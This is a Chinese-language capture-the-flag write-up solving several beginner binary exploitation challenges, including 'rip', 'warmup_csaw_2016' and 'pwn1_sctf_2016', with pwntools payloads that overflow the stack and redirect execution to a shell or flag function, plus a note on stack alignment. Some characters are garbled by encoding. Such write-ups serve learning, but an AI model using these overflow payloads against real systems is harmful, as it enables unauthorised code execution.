test_you_nc
進(jìn)去看main里面就是sh
所以nc就好
rip
checksec一下發(fā)現(xiàn)是64位
看一下代碼沒有任何過濾直接一個rop應(yīng)該就行了
有個fun函數(shù)直接就有sh了隔披,就跳過去就好了
payload
system_addr = 0x0401186
payload = flat(
'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()
奇怪的是
system_addr = 0x0401186
打到遠(yuǎn)程的話會報錯本地沒有問題
報錯原因百度了一下好像是因?yàn)闂3鰡栴}了
http://blog.eonew.cn/archives/958
少個push就沒問題了
所以最后payload
system_addr = 0x0401187
payload = flat(
'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()
主要是2.27的system多了一個movaps需要對齊rsp
warmup_csaw_2016
先checksec一下文件
反編譯一下
sub_40060D就是一個system地址所以只要跳過去就好了
感覺比上一個簡單
這次學(xué)乖了多了一個1
pwn1_sctf_2016
32位的
還是反編譯先
好像是c++有點(diǎn)難度了
居然沒有棧溢出了震驚
難道是格式化字符串粹懒?
有個getflag的函數(shù)
估計跳過去就行可是怎么跳呢
FUZZ了一下會把I變成you
很多個i變成you就會產(chǎn)生溢出
所以需要溢出0x3C
還有4個ebp
然后加上那個flag的return地址就好啦
60個好像不行啊奇怪
debug了一下
在這里發(fā)生了棧溢出
0x3c是60
所以要放20個i
就會有60個布滿了
所以payload
z('b*0x080492BF')
system_addr = 0x08048F0E
payload = flat('I'*20,'0'*4,system_addr)
cn.sendline(payload)
cn.interactive()